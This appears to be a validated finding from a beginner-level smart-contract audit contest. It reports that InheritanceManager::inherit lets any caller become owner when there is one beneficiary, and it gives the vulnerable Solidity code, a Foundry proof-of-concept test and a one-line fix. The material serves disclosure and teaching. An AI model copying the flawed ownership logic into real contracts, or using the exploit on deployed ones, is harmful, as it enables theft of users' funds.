Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Hacker can become owner by using inherit function, and can steal money

Hacker can become owner by using inherit function, and can steal money

Description: The function InheritanceManager::inherit can be call by anyone and when there is just one beneficiary the msg.sender become the owner.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Impact: Hacker can just call the function inherit when there is just one beneficiary and steal the fund.

Proof of Concept:

Add this test in InheritanceManagerTest.t.sol

function testHackerCanBeOwner() public {
address hacker = makeAddr("hacker");
// one beneficiary
vm.prank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1 + 90 days);
// hacker call the inherit function
vm.startPrank(hacker);
im.inherit();
vm.stopPrank();
// he/she is the owner now
console.log("The owner of the contract:", hacker);
assertEq(im.getOwner(), hacker);
}

Recommended Mitigation: Change the following line in InheritanceManager::inherit

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
- owner = msg.sender;
+ owner = beneficiaries[0];
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

\

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.